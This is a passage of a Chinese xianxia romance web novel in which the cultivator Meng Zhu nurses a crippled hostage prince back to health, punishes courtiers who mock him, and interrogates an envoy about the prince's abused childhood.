闻言,孟竹哑然失笑。 她的名声竟然已经臭成这样了? 连宁国都有所耳闻了? 她扶着额,“不是……” 想了想,又长长地叹口气,“真不是你想的那样。” “那是怎样?” 一言难尽,说来话长。 孟竹想了想,解释道:“那些不是面首啊,都是皇帝硬塞给我的。” 一听这话,施允便笑了,“嗯,都是皇帝赏的,不得不收,所以一边享受着,还要一边说都不是你心甘情愿的,都是被逼的。” 他见识惯了这种虚伪的人,装成一副清高的模样,背地里的阴私却多得令人发呕。 孟竹哭笑不得,但听着施允这样同她拌嘴的模样,又觉得他似乎恢复了几分从前鲜活的生气,不似方才那副死气沉沉的模样了。 “不信算了。”孟竹站起身,“洗好了吧,我抱你出来。” “不——” 孟竹没理他,直接将人拎起来,手脚麻利地一擦,刻意避开了某些地方,手摸上屏风边上已经准备好的衣裳往他身上一裹,给他抱到了榻上。 “把衣服穿好。” 她这幅手脚麻利的模样像是已经剥过无数人的衣裳,眼上的白绫像是个装饰品一样,就算看不见也还是熟练极了。 施允揪着衣服,伸手把自己的衣带绑得紧紧的,他看着孟竹又在房间里坐了下来,脸色一白。 “你怎么还不走?” 孟竹等了一会,好半天,才听见窸窸窣窣的声音停了下来,她想着应该差不多了,便问:“衣服穿好了?” “嗯。” “你走吧。” 她把眼上的白绫一掀,就朝着榻上走去,每走一步,施允的脸色就更白一点。 孟竹怀疑他快晕过去了。 她看见施允的发还是湿的,披在肩上,还在往下滴水,已经打湿了寑衣。 孟竹刚想伸手用灵力将他的头发烘干,便被施允的手攥住了手腕。 他的指节冰凉,扣在她的腕上,让她不能再靠近半分。 孟竹偏了偏头,“怎么了?” 施允的耳根发红,脸上青一阵白一阵,咬牙切齿地瞪视着孟竹。 “我司徒尘好歹也是宁国的皇子,就算沦落至此,也不会做你的面首!” 他用力把孟竹的手甩开,冷声道:“你死了这条心吧。” 第60章 心上人 看着施允那副誓死不从的贞洁烈夫模样,孟竹忍不住笑了一下。 施允抬起下巴望着孟竹,“要杀要剐,悉听尊便,至于其余的,你想都别想。” 孟竹在榻边坐了下来,看见施允的身体又僵住了。 她忍住笑,“谁说我要你做我的面首了?” 孟竹伸手,手指隔了一段距离凝出一道灵流,没有触碰到他的身体。 一股温暖的热流顺着脊背爬上施允的身体,渐渐的,他僵硬的身体不知不觉放松下来,身上那些刺痛的伤口好像一寸寸被抚平了。 孟竹看着他的头发和衣服已经干了,便收了手,视线下移,又注意到他那双腿。 “看什么?”施允斜靠着,口气依然不甚友善。 他嘴角勾着一抹笑,眼睛却平静无波,“怎么?没见过残废?” 顿了顿,他上下扫视了一眼孟竹,“还是说,仙师大人癖好这么特殊,连这种身体都看得上?” 这字字句句,让孟竹听得眉头直皱,脸都黑了大半。 那个曾经高傲到不可一世的施允哪去了? 孟竹直接上手卷起了他的裤腿,迎着施允冰冷的视线,她按住那弯曲变形的膝盖骨,“疼不疼?” 人没动,也不出声,像个木头。 膝盖往下的部分看起来有些萎缩了,孟竹能明显摸到没有接好而变形的骨骼,不知是不是因为泡了雨水的原因,关节处红肿,连带着上面不知道在哪里被蹭烂的皮肉流出血和脓来。 她仔仔细细地用灵力探查了一下施允全身的经脉,太阳穴开始一点点抽疼起来。 这具身体应该是往生花吸收天地灵气化为的灵骨,就算受伤,也会很快痊愈,更何况,灵骨难得,更是有益于修行的顶尖体质,何至于孱弱至此? 孟竹闭着眼,眉头却皱得越来越紧。 她从识海内看到了施允的骨骼经脉,顺着他肩胛骨的那道裂缝探入灵力。 孟竹的手指一颤,收回了手。 这是一具非常平常的,甚至孱弱的凡人之躯。 施允就活生生的在她面前,她很肯定往生花是造出了灵骨的。 可面前这样的结果,只有一种可能。 生剥灵骨。 有人偷了她的东西。 孟竹的心口像是被一双利爪撕扯着,像是要掏烂她的心肝肠肺一般。 她喉口一热,一偏头,呛出一口血来。 “喂,你……” 施允手撑着身体直起身子,看着孟竹面无表情*地抹掉嘴边的血迹,她的瞳孔黑漆漆的,像沼泽一样引人下沉。 他不明白这个奇怪的女人在想什么,做的事情也是稀奇古怪,堪称离谱。 很快,孟竹又若无其事地开了口,她从怀里掏出一瓶丹药递给施允,“吃下去。” 她看着施允,沉声道:“不管你现在在想什么,觉得我是虚情假意也好,是诡计多端也罢,总之,你得重新站起来。” 施允的垂眼,看着孟竹按在他膝上的那只手,她的手指细长,指腹上有一层薄茧,灵光在她指尖跃动,让他十来年里都毫无知觉的一双腿感受到了些许酥麻的热意。 孟竹这些年修习得挺全面,疗愈术也是信手拈来了,只是他腿上的伤已经拖了很多年,不是一日两日便能好的。 很多事情本来就不是一蹴而就的。 她看着施允伸手接过了那瓶丹药,一声不吭地从瓶子里倒出来一颗吞了下去。 外面的雨声渐停,风还在刮着,吹动门窗发出响动。 孟竹站起来,把房间里的窗都关紧了,再没有一丝缝隙。 房间里静得可怕,施允低着头不知道在想什么,从侧着的这个角度看去,背脊瘦薄得像一张纸。 她站在离他不远的地方,静静地看着。 想过他会变成现在这样吗? 想过的。 孟竹在内心缓慢地问自己,她曾经甚至想要折断他的羽翼,让他不再光鲜亮丽,让他落入尘泥里,让他不再那么高高在上。 可那只从云端伸出的手被她拉下来以后,依然悬着一根绳,拉着她往上走。 就在此刻,她几乎再不能在他身上看到当年那个意气风发的少年了。 明明不该这样的。 他应该站在太阳下,走在艳阳天里,漂亮的双眸倒映着世间万千光彩,温柔又骄傲,热烈又明朗。 不知道过了多久,孟竹看见榻上的人像是终于撑不下去了一样,闭上眼睡着了。 孟竹走过去,把人放平了盖上被子,挥手将烛火全部灭了,然后离开。 第二天醒来的时候,施允是被疼醒的,浑身上下的骨头像是要裂开一样疼。 他想起曾经听过关于孟竹的传闻。 对于宁国人而言,女仙师绝对不是一个正面的形象,南国的狗皇帝和妖道同流合污,逆天改势,绝非善类。 施允心想,果然是妖道,兴许是昨夜给他吃的丹药发作了,又想着怎么折磨他。 他咬着牙撑起身子,忽然发现这痛觉也来自自己的双腿,然后他试着动了动,居然真的有了一点感觉,但没完全抬起来,只是轻微地颤了一下。 方才飘出来的想法又像个气泡一样砰地一下灭掉了。 不是吧,难不成这女妖师是真心对他好? 真想给他治腿? 治好了,然后给她做面首? 施允越想,脸色越青。 绝无可能。 孟竹端着食盘进来的时候,就看到施允坐在床边臭着一张脸不知道在想什么。 她拿出准备好的一幅拐杖递给他,道:“你先用着,等过段时间,你的腿应该就能完全好了。” 想了想,她又问,“会用吗?” 施允接了过去,撑着拐下地的时候,浑身都在抖,额上沁出了大颗的冷汗,然后腿一软,眼见就要摔个脸着地。 一双手稳稳将他拖住,他抬起眼,看到近在咫尺的那张脸,她脸上既没有鄙夷,也没有厌弃和不耐烦。 甚至称得上平和。 他偏开视线,感觉到腋下的木柺包了棉布,高度合宜,并不像他从前用过的那般咯人。 孟竹扶着他,让他靠着自己重新站好,“不要急,慢慢来。” 又废了一番功夫,施允才坐到桌子旁,他扫了一眼桌上的菜色,竟然难得地合他胃口。 他向来口味极淡,偏好的都是些青蔬小炒之类的,白粥熬得绵软黏烂,极为适口,他都忍不住多吃了一碗。 等到他吃完了以后,他才发现早起时身体的那股疼痛不知道什么时候就消失了,身体像是被一点点修复起来,久违地有了一种舒畅感。 施允放下碗,迎上那道一直看着他的视线,他被这视线看得耳根发红,脸色却更臭了。 真不害臊。 哪有姑娘这样直勾勾地盯着男人看的? “好吃吗?”孟竹托着腮,问他,“要不要再多吃一点?” 施允轻哼一声,“少拿你那套哄面首的法子对付我。” 孟竹摸了摸鼻子,嘴角的笑容绽开,“我哪里在哄面首啊。” 她坐直了身子,正正经经地开口道:“我是在哄心上人。” “噗——” “咳咳咳……” 施允本来是在喝茶的,听到孟竹的话立刻呛了水,咳得满脸通红。 孟竹帮他顺着背,语气有点无奈:“慢点喝啊,怎么还呛上了呢?” 将气顺下来之后,施允抬眼,看着孟竹显得有些无辜的脸。 “你……”他伸手戳了下她的额头,“这里是不是有点问题?” 孟竹心平气和道:“原来可能是有点的,现在我觉得我治好了。” 施允摇头,“不,我看你病得更重了。” “……” 吃完饭,施允又要回去躺着,被孟竹强拉起来放到木轮椅上推去院子里晒太阳。 仙师府的很大,有一处栽满了花的庭院,天气晴朗,鸟雀吱鸣,孟竹推着施允慢悠悠地走着。 他脸上的表情不甚高兴,“说了我一个废人毫无用处,我不喜见人,你硬要拉我出来做什么?” 孟竹停下来,折了一枝花递给他,“闻闻,好香的。” 她看见施允摆弄着那支花,倒是没有闻,攥在手里捏来捏去。 “不喜见人,也要见见太阳。”孟竹道,“这里没别人,只有我。” 可她话音刚落,便听到不远处隔着花树传来数道脚步声,伴随着几句谈话的声音传过来。 “听说没,仙师把那个宁国的质子带回来了?” “陛下不是说了吗,这人在战场上叫咱们南国吃了不少亏,非得让他受点教训才行,要不我们也去瞧瞧,给他点苦头吃吃。” “当真,听说是个废人呢,一个残废还能被仙师看上,你说他还能做那事儿吗?” “再怎么也就是个女人,榻上给她干服了不就行了。” “多好笑,说不定咱们仙师就喜欢那种的?哎呦,这能满足她吗?” “说不定呢,要不我也把你的腿打残,你也好博得仙师的怜爱?” “哈哈哈哈,你真是……” 他们的笑容在看到孟竹的一瞬间戛然而止。 她站在一株桃花树下,嘴角噙着一丝笑,黑漆漆的一双眼看过来,看不出情绪。 几人对视一眼,对着孟竹行了礼,“仙师大人,我们正要去看看……” 孟竹打断他的话,“看什么?” 施允膝上的薄毯不知何时滑落了下来,他紧攥着轮椅的边缘,下颌紧绷着,一言不发。 孟竹蹲下,将薄毯拾起来给他盖上,抬头的时候,对上施允的一双眼。 他嘴角勾着一抹像是嘲讽的笑,平静的一双眼里死气沉沉,好像方才那已经有些鲜活的生气又从他身上被剥离了。 孟竹站起来,朝着方才说话最难听的那人走过去,猝不及防的一脚踹在他的心口,连带着的脚风掀倒了后面的数人。 没等人反应过来,孟竹揪着那人的衣领把他拎起来,“你说说看,要给谁教训?” “不……不是的——” 他的话卡在喉咙里,惊恐地看见孟竹的手指按住了他的腿。 “何必这么麻烦,我来打断这双腿,岂不是更好?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 活该 随着咔哒一声脆响,惨叫声随之而起。 孟竹一把捏碎了那人的腿骨。 他身旁的几人立刻战战兢兢地跪在地上,“仙师大人……不知我们做错了什么?” 孟竹对他们的态度一向是放任的,甚至是置之不理的,就算他们在仙师府中,也顶多像是一个自由来去的住处,她从来不管他们在打听什么,说什么,做什么,更不会像今日这般动手。 仙师一向是宽容温和的,不过是说了两句诨话而已,何至于此? “做错了什么?”孟竹收回手看着地上的一群人,觉得自己简直是多余分给他们一点耐心。 为首的那人额头痛得冷汗直冒,他心里清楚方才自己说了什么,一时也不敢吭声。 她视线扫过众人,似笑非笑的:“成天惦记着榻上那点事儿,嘴巴里也臭不可闻,看来我确实平常对你们太好了。” 说罢,孟竹两指并拢,一阵风似的点过几人的眉心。 他们慢慢站起身,面容呆滞地一个接一个往后走,消失在庭院的尽头。 只有那个被孟竹捏碎了腿骨的人还伏在地面上发抖,孟竹蹲下身,从他腰间抽出了一块腰牌,果然是御前的人。 孟竹捏着那块腰牌把玩了一下,又重新给他塞了回去,“难为你们这些人了,大好的前途没了,跑来我这小小的仙师府,成天惦记着那些破事。” “你们每天给他提供什么消息?” 那人没说话,始终咬着牙沉默着。 “不管是什么,从今天起,都结束了。”孟竹拍了拍他的脸,“回去告诉你的主子,带着他的人,全都滚出仙师府。” 孟竹叫来人,把那人拎着直接扔出了大门。 喧闹的大街上,人来人往。 几个神情呆滞的人走着走着,到了人群中便开始宽衣解带,脱得一件不剩。 周围的人像弹射一样蹦开。 “天呐——” “他们这是做什么!!” 他们脸上带着傻笑,形如痴呆,慢吞吞地走在大街上,路过的人都退避三舍,生怕碰到,捂着眼睛指指点点。 “报官吧!” “……” 从庭院里回去以后,施允再没有开口说过话。 无论孟竹在他耳边说什么,他始终垂着眼,看着地面,不知道在想什么。 直到孟竹离开以后,门被轻轻合上,施允才动了动手指,视线透过窗户看向那逐渐远去的背影。 他想,或许他们说得没错。 他自小便听惯了那些难听的字眼,应当不痛不痒才对。 可今日,却令他觉得格外耻辱。 格外窝囊。 施允的视线移到地面上放着的炭盆上,明明是春日呢,怎么还烧得这样暖。 像是怕他受寒似的。 他想起早上孟竹对他说的那番话。 心上人? 施允嘴角浮起一丝冷笑,什么样的女人会喜欢这样的心上人? 谎话连篇,口蜜腹剑。 罢了,且看看她要如何在自己面前演戏,又想在他身上耍什么阴谋诡计吧。 施允拿着拐杖想要站起来,他如今的腿已经有了些力气,可起身还是比较困难,废了好一番功夫,浑身都被汗打湿了,他才颤颤巍巍地站到了地面上。 他咬着牙往前走,刚走了几步,腿便一软,整个人猛地跌倒在炭盆旁,一瞬间火星四溢。 孟竹推门进来的时候,看见的就是施允跌在炭盆旁,手上还压着块炭,满屋子都是炭火被打翻的烟尘味。 她面色倏地一变,把施允整个人拎了起来丢在一旁的软榻上。 孟竹的力气很大,他的肩膀撞上一旁的小桌时,施允忍不住闷哼一声,还没搞清楚状况,又被孟竹按着胸口压了上来。 因为距离太近,呼吸交错间,那股力道迫使他的脖颈被迫后仰着看向孟竹,对上她的视线。 他看见孟竹的唇抿得发白,像是用了极大的力气才克制住自己颤抖的手指。 “干什么……” 孟竹的手指冰凉,按上了他的脖颈。 她的脸靠得很近,用一种很缓慢的声调逼问他:“你这么想死吗?” “不用这么麻烦,如果你真的不想活了,我现在就可以杀了你。” 也许她一用力,顺着这里按下去就能捏断他的喉骨,让他死得悄无声息。 可施允盯着那双眼睛,却并没看到熟悉的杀意,只觉得那灼热的呼吸挨得越来越近,让他的思维都空白了片刻。 孟竹感觉到指下按着的喉结处滚动了一下,他似乎有些难耐地偏过头,不再与她对视。 “看着我。” 孟竹的手往上,捏着施允的下颌硬生生地把他的视线转过来。 “说话。” 施允被迫看着那双眼睛,心跳一声比一声剧烈。 “……与你何干。” 孟竹立刻反问他:“与我何干?” 她的手指从下颌往上,一寸寸攀上他的脸颊,眉眼,停留在柔软的额发上,然后伸手拨弄了一下,“我费尽心思一点点把你养回来,可不是看你变成这个样子的。” “……我听不懂你在说什么。”施允伸手按着孟竹的肩膀把她推开,深吸一口气道:“离我远点。” 孟竹收回手,从施允身上离开,双手环胸站在他面前。 “好,那你要自暴自弃到什么时候?” “有人侮辱你,伤害你,你想的竟然是自杀?”孟竹脸上带着森森的冷笑,“你可真是圣人。” “我看你的理想是做个普度众生的菩萨吧。” 施允皱了皱眉,有些迟疑道:“什么?” 看见施允那有些苍白虚弱的脸,孟竹冷笑连连,语气也重了几分:“为什么不好好活下去,然后报复回去。难道不应该打断他们的腿,割了他们的舌头,叫他们也尝尝这痛苦的滋味吗?” “问你话你又不说,整天闷得像个木头,嘴里蹦不出两个屁来。”真是越说越来气,孟竹偏过头低声骂了一句,“我早晚把这些畜生一个个搜罗起来全抓去喂狗。” 打断了那双腿的,生剥了他灵骨的,在她不知道的那段时光里,所有的债,她会一笔笔讨回来。 孟竹气得不轻,恨不能立即把人找出来塞进麻袋里暴揍一顿。 更气的是,施允这副轻飘飘的,半死不活的态度。 孟竹很少一次性说这么多话,怒火让她的眼睛亮得惊人,嘴里说出来的话也堪称恶毒。 她面无表情地瞪着施允,然后,看见他嘴角一点点往上翘,伸手抵着唇,噗地一声笑了出来。 “哈哈哈……” 他越笑越大声,两扇长长的眼睫弯起来,像月牙似的,连眼尾都笑得沁出些泪花。 这一笑,让孟竹有些摸不着头脑,不知道自己戳中了他哪个奇怪的笑点。 可她好久都没见过笑得这样开心的施允了。 这样松弛自在的模样,好像穿过漫长的时光,又回到了多年前的某个春日,看到坐在窗前的那个少年。 他一手按在小桌上,笑得忍不住拍了两下,又猛地抽回手,倒吸了口气。 笑声戛然而止。 孟竹俯身,拉着他的手看了下,是方才炭火烫伤的地方,手心已经烂了一块儿。 她拉着施允的那只手,另一只手心盖上去,再挪开时,那块伤口已经恢复如初。 “活该。”说着,她用力拍了下施允的手心。 不知为何,他总觉得她的动作做起来无比亲呢自在,好像同他很熟似的。 施允收回手,看着被拍红的那块皮肤,看着孟竹道:“你好像误会了,我方才并没有要寻死的打算。” “那方才……” “就是想站起来走走,不小心摔倒了而已,谁知道你一冲进来就……” 施允的话没说完,只盯着她看。 “哦。” 孟竹面无表情道:“嫌我多管闲事了?” 施允没回答她的问题,反而转了话题开口,“我很好奇一件事。” “什么?” “为什么帮我?” 他的身子往后靠了靠,点了点自己的腿,坦然地看着孟竹:“如你所见,我一无所有,以后也许不了你任何好处。” 施允这样的语气,她不喜欢。 像是把自己视作一个物件一般来衡量价值。 没听见孟竹的回答,施允又道:“如果你想替南国探听宁国皇室的消息,我看也大可不必,因为对于司徒氏而言,我不过是一枚废子,毫无价值可言。” 孟竹在施允的身旁坐下来,手放在他的膝上,明显感觉到他的身体僵硬了一瞬。 “放松。” 她掌心浮现熟悉的灵流,继续为他疗伤,他现在的身体太虚了,根本受不了大量的灵力灌入,只能每天一点点等他好起来。 “我要是想从你身上知道什么消息,大可把你关进牢里,用刑便是了,何需这么麻烦。”孟竹抬起眼,看着施允,“你明明知道,我说的都是实话,你也明白,你根本没什么好同我交易的。” “我对自己喜欢的人好,有什么问题吗?” 施允对上那双黑白分明的眼睛,心口猛地一跳。 他便过头,视线看向一旁,冷冷道:“少来这套,我可不像你那些面首,随随便便花言巧语就能骗到手。” 说到这,施允想起今日碰到的那一群人,倒是确实个个都是一等一的好皮相,风格各异,看来她的品味确实多变,怕是一天换一个,还能不重样呢。 呵,施允在心中冷笑,不过是一群以色侍人的男人,何等轻浮浪荡。 他自然不可能与这些出卖色相的人相提并论。 可他话音刚落,便看见孟竹的手伸过来,轻轻捏了捏他的手指。 结着一层薄茧的指腹摩擦着他的指尖,带来些许灼热柔软的温度。 孟竹淡笑着,像是有些无奈地叹口气。 “那你帮帮我,告诉我该怎么做才能把你骗到手呢?” 第62章 司徒尘 在孟竹堪称无微不至的照料下,施允的那副孱弱的身体总算一日日好了起来。 直到施允已经能完全靠自己走路了,孟竹才松了口气,虽然还不能像正常人一样长时间站立呵行走,但已经是目前而言最好的结果了。 得亏她是个化神期的修仙人士,要是个普通的凡人,别说站起来走路了,施允这副身体被这么耗着,怕是都活不了几年。 前些日子看着施允那副病秧子模样,半死不活的,愁得孟竹好几夜没睡好觉。 死倔死倔的,跟以前一个样。 好在从那天晚上之后,施允倒是再也没有过让她误会像是轻生的举动,虽然施允的话还是不多,但孟竹有几次站在院外看他,没有出声,他就一个人撑着拐杖慢慢地走,每当能多坚持半刻钟的时候,孟竹都能看到他脸上带着汗水的笑容。 孟竹想着,是时候了。 春和日丽,微风习习,是个适合干点什么的好日子。 孟竹一早便带着照水出了门,两人没走官道,抄小路到了一座府邸的后门,这里临水而建,草木清幽,倒是个僻静清雅的地方。 前些日子她就让照水留意着外面的消息,上次打了败仗以后,宁国派了议和使臣进京,这两日才刚刚到,李延便赐了这座府邸给这使臣暂住。 门口还有着不少侍卫,将整个府邸看守得严严实实。 孟竹和照水用了幻形术,趁着侍卫们换班的间隙进了府邸,里面的人倒是不多,除了几个守卫和侍女,显得有些空荡。 他们一路往里深入,进了主院,才刚踏进院门,便听到里面笙歌艳舞,伴随着女子莺啼似的叫声和男人粗哑的低喘。 孟竹和照水对视一眼,“现在是白天吧?” 照水笑了一下,他曾经见过不少这种场面,此刻倒是没觉得有什么大惊小怪的,“对这种人来说,兽性起来的时候,白天夜里有什么区别吗?” 就单是一个来议和的使臣,在南国都是这种作派,难怪宁国日渐衰弱,迟早要完。 孟竹在院外开始布置结界,确保这里发生的动静不会惊动到外面的守卫。 等结界成型以后,孟竹终于不用再忍受那些声音,一脚把门蹬开。 门开时,一股令人作呕的淫靡香味混合着酒味扑面而来,孟竹踩过地上散落的衣物往前走。 奏乐之声戛然而止。 房间内站了不少舞姬,身上的薄纱简直衣不蔽体,她们看见孟竹踹门而来的气势,一时间被吓住,不知如何是好,僵立在原地。 孟竹挥手,门在身后哐得一声关上。 坐在酒案后的男人长得肥头大耳,挺着肥硕的身子,一手抱着一个美姬,粗胖的手掌搭在女子的细腰上,皮肤上已经有了不少淤青和红色的指印,因为皮肤格外得白皙细腻,显得有些触目惊心。 那两名被他抱着的美姬脸色苍白,泫然欲泣,孟竹看了一眼,对着照水使了个眼色。 照水身形一闪,像道影子似的,眨眼间两名姑娘就被带远了。 姑娘们没见过这种身手,一时愣住了,照水见状,叹了口气,道:“睡吧。” 说罢,他的眉心亮起,双指并拢置于眼前,再放下时,除了酒案后的男人,所有人都倒在了地面。 “你……你们是什么人?!” 那男人盯着孟竹,满脸惊恐,脸上都肉都抖了抖。 他摇摇晃晃站起身子,朝着门口大吼一声:“来人啊!护卫呢!一群干吃饭不干活的东西!” 他一连喊了几声,门口都毫无动静,孟竹任他喊了几声,才问:“叫够了?” 男人看着站在对面的孟竹,指着她哆哆嗦嗦道:“你想干什么?我告诉你,我是宁国的使臣,要是我在这里出了事,这可是关系到两国之间的大问题!” 孟竹听到这话,有些烦躁地扶了下额头,对着人点了点桌面,“叫够了就坐下来,问你点事。” 如果可以,她真的不想闻着这么浓烈的体臭和这种人说话。 男人指着孟竹,“你凭什么指挥我,我司徒行光乃宁国皇室之……” 话没说完,孟竹手指并拢,向下,一股无形的力量瞬间压着他坐了下来。 “我没耐心知道你是谁,不想死的话,就乖乖回答我的问题。” 司徒行光被那无形的力量压制着,浑身动弹不得,像是万斤压顶,他从前见过有些修士可以画符布阵,但从没有一个只是坐着,就动了动手指便让人动弹不得的。 他心下有些骇然,硬着头皮道:“你想知道什么?” “施……”孟竹顿了顿,又道:“所有关于司徒尘的事情,你知道多少,全部告诉我。” 一听这话,司徒行光便咧着嘴笑,“哟,原来是问那个小畜生的事——” “啪!” 隔空而来的一耳光扇得司徒行光两眼发黑,他侧脸泛起火辣辣的烧灼,好一会儿才回神。 他看见孟竹偏着头看着自己,面上没什么表情,“嘴巴干净点。” 司徒行光把嘴里骂人的话咽下去,留得青山在,不怕没柴烧,能屈能伸才是英雄好汉。 他想了想,慢慢在脑子里回忆那些过往。 根据司徒行光的描述,司徒尘是一个身份低微的宫女所生,就算生了孩子也没能母凭子贵,反而没两年就病死了,好歹也是生为皇子,他并不是一生下来就不受人待见的,而是在成长的过程中,他表现出越来越惊人的聪慧,这种聪慧在寻常人家是天大的好事,可生在帝王家,还是一个没有母族庇护的孩子,这份聪慧,只能给他带来灾难。 司徒行光从前是和司徒尘一起听过学的,他小的时候,其实并不讨厌司徒尘,不是为别的什么,单纯是因为小时候的司徒尘就长得像个玉面小菩萨似的,干净又漂亮,和那些一起长大的皇子们不一样,他总是很安静,一双眼睛像被水洗过的檀珠,灵气极了。 从前,司徒尘总是被夸奖的那一个,可每次被夸奖后,第二天来听学的时候,他身上的伤痕都会多一些,很快,他就开始频繁出错,变得越来越平庸。 直到大家逐渐忘记,原来司徒尘曾经也是个顶顶聪明的孩子。 可司徒行光莫名地就一直记得,大概是因为,有一次下学后,他的母妃那时极为受宠,破例得了允许亲自来接他,还为他带来了许多亲手做的吃食,他依在母亲的怀里撒娇,不经意的往旁边瞥去一眼,就看到司徒尘站在不远处,那双眼睛看着他,又像是在看着其他的什么。 很快,司徒尘便跟着身边的宫人离开了。 他曾经尝试和司徒尘说话,跟他一起玩,身边的皇子们发现他的举动,用奇怪的眼神看着他,渐渐也不同他走在一处了,那时他并不知道为什么,依然乐此不疲地找司徒尘说话。 后来,不知什么时候被母妃知道了,狠狠教训了他一顿,从那之后,他便也同其他皇子一样,他们做什么,他也跟着做什么,他们骂司徒尘,他便也跟着一起骂司徒尘,有样学样。 除了司徒这个姓氏,司徒尘根本不像其他正常的皇子一样生活,就像他的名字一样,无人在意,像一粒尘埃。 司徒行光想,什么时候起,司徒尘的名字就变成了小畜生三个字呢? 他忘了。 因为所有人都这么叫。 因为所有人都看不起他,所以他也跟着大家一起喊着小畜生,随波逐流地欺辱他。 直到有一次,太子殿下的生辰,宫内举行了一场盛大无比的生辰宴,那真是张灯结彩,万民齐乐的一天。 宫内挂满了彩绸和灯笼,照得整个皇宫内亮如白昼,红墙绿瓦内燃放着盛大的烟火,流光溢彩,喧嚣热闹。 当真是诗文中描写的东风夜放花千树,火树银花不夜天的场面。 司徒行光同其余的几位皇子饮了些酒,相约着四处走走,吹吹风,醒醒酒。 走着走着,不知怎的,就到了一处偏僻的宫苑内,这里同宫内其他地方都不同,没有挂彩绸,也安静极了,院外的砖墙破落,却并没有人来修缮。 他们没想到会在这里遇到太子,他穿着明黄的华服,上面绣着精细的龙纹刺绣,看见他们几人,太子笑着同他们招手。 在太子的身后,司徒行光看见了一个熟悉的身影,他安静地跪在太子身后,像一个沉默的影子,融在黑夜里。 太子说他犯了忌讳,冲撞了他的生辰宴,罚他跪在此处受点教训。 犯了什么忌讳呢? 不知道,他也记不清了,但那也不重要了。 因为不需要理由。 走之前,他看见太子站在司徒尘面前,笑道:“妄图与明珠争辉,也要看看自己是个什么货色。” 太子问司徒尘:“你在看不起谁,你在清高什么?” 司徒尘并不说话,他被人按着下跪,背脊被压下来,却用看小丑一样的眼神看着太子。 这种眼神当然激怒了尊贵的太子殿下,他却不屑于自己动手,对着他们抬了抬下巴。 他们看懂了太子的眼色,对着司徒尘拳打脚踢,离开前,每个人还要狠狠啐上一口。 司徒行光是最后一个离开的。 他蹲下来,看着司徒尘,“小畜生,知道你错在哪儿了吗?” 司徒尘用那双珠子般透亮的眼睛盯着他看,忽然笑了。 他说:“你真可怜。” 他可怜? 真是笑话。 司徒行光指着他:“你看看你这个样子,还好意思说我可怜?” “他们欺辱我是为了拥护太子表示忠心,那你呢,你欺辱我,连你自己也不知道为什么。” “因为你只是个随波逐流的,毫无思想的傀儡。” 原来是这样。 他看着那双眼睛,想着,每个人都有自己的命。 像司徒尘这种人,活该过这样的生活。 这就是司徒尘的命。 在这浊浊红尘中,将什么都看得太清楚的人,注定痛苦。 也注定没有什么好下场。 他想,应该是这样的,本该是这样的。 是他自己不懂。 可怜的小畜生。 第63章 年方二十,水嫩如葱。 孟竹听完司徒行光的话,坐在对面,手背紧扣在扶椅上,沉默了很久。 良久,她抬眼看着司徒行光,“他的腿是怎么断的?” 司徒行光笑了笑,“不知道,自那以后我很久没有进宫,只听说他和太子殿下同时生了场重病,然后就变成这样了。” 孟竹皱了皱眉,“什么病?” 司徒行光道:“宫里的事情那么多,你当我是什么人,我又不是桩桩件件都清楚。” 他看着孟竹,脸上带着好奇,“怎么,你是在关心他?” 孟竹没应声,知道施允在宁国的事情以后,她心情差到了极点。 那场病应该是一个关键点,同宁国的太子有关,生剥灵骨这种事普通人做不到,至少修为也要到化神期以上才能办到,而到了这个境界的人,就算在仙洲也是屈指可数。 况且孟竹这些年来一直寻找施允的踪迹,照水这边也时刻留意着各方的消息,连极善隐匿的魅妖都没能察觉到有这类人的气息。 孟竹怎么也想不通,究竟是哪里出了问题。 唯一肯定的是,这个宁国,她是非得去一趟不可了。 “差不多了,结束吧。”孟竹站起来朝着照水道,“收拾一下就走吧。” 司马行光一听这话,肉眼可见地紧张起来,“收、收拾什么……你想卸磨杀驴吗?” “我——” 话还没说完,照水走过来,手隔空在他额头上一点,司马行光便跟那些舞姬们一样昏睡过去。 庞大的妖力自照水周身散开,不出片刻,这些昏睡过去的人头顶便飘起一片片像是云朵一样的白雾。 那是魅妖一族特有的控魂术,可以抽出人短时间的一段记忆,等离开以后,他们不会再记得今天发生过什么。 临走的时候,照水看着孟竹阴沉沉的脸色,手在她肩膀按了一下,温声道:“慢慢来,总能找到灵骨。” 这些年他陪着孟竹,知道她花了多少心思,费了多少心血才把人救回来,施允能找到,他是打心底里高兴。 就是想起前些时日再次见到施允时,他那和从前大相径庭的模样,心里还是有几分不舒服。 毕竟,浇灌往生花他也是劳心劳力,虽然不比孟竹,但也有种像是精心养着的果子被别人摘了似的气愤。 孟竹和照水离开以后,立刻启程回仙师府,一路上,她心里始终琢磨着该怎么跟施允说,干脆直接摊牌,告诉他一切? 可现在的施允,她说的话,他会信吗?- 这厢,施允吃完早膳,正在院中晒太阳。 自从那日孟竹把从前顶着面首名头的那帮人清出去以后,仙师府里便安静多了,施允在庭院里慢慢走了一会*儿,身上发了些汗,此处正好离书房最近,他便想着去喝口茶润润嗓子,顺便歇一歇。 施允往书房的方向走,正好碰到负责洒扫的几个丫鬟,隔着一道门,有闲聊的声音断断续续传出来。 施允不欲进去打扰,便靠在书房外的墙边休息。 几人本来是在聊一些闲事的,不知怎么,声音忽然停了下来。 好一会儿,才有人开口,带着些惊讶的声音。 “你看,这里这里。” “像啊,真像。” 又一人接话,感慨着:“但是我觉得还是这画里的人好看,就像个神仙一样。” “是啊,再怎么像也没有画中人这般气韵,难怪仙师多年来念念不忘。” “不过真的很像了,难怪仙师遣散了那么多面首,只留下了那个司徒氏呢。” “好了好了,不聊了,赶紧收拾完回去了。” 几人安静下来,又过了片刻才从书房里出来,踏出门的时候,正好跟施允打了个照面。 他正倚着墙,偏着头看过来,这样近距离地看着,几个丫鬟才惊觉眼前这面孔,似乎并不比那画中人差。 就是差了些…… 差了些什么呢? 小丫鬟们一时也琢磨不出来,也不知道她们背后议论的话语有没有被人听到,只讪讪地对着施允笑了下,行了个礼便匆匆走了。 等人走了以后,施允又在门口站了一会儿,才慢慢站直了身子,推开书房的门走了进去。 书房内打扫得很干净,临窗而设的书案上摆着几本医书,施允走过去,拿起来翻了翻。 医书里空白的地方,用小字细细做了批注,施允只看了一眼,就发现其实这些并不是正经的医书,大部分记载的都是民间流传的偏方,大多数只有益气健体效果。 相对应的,还有食补的方子,施允忽然想起这些时日的饮食,几乎都是按照上面的方子来做的,显然,他发现了,这些时日以来,他的饭菜都是有些人亲手做的,且味道相当不错。 怪不得,每天都要逼他吃上两碗饭。 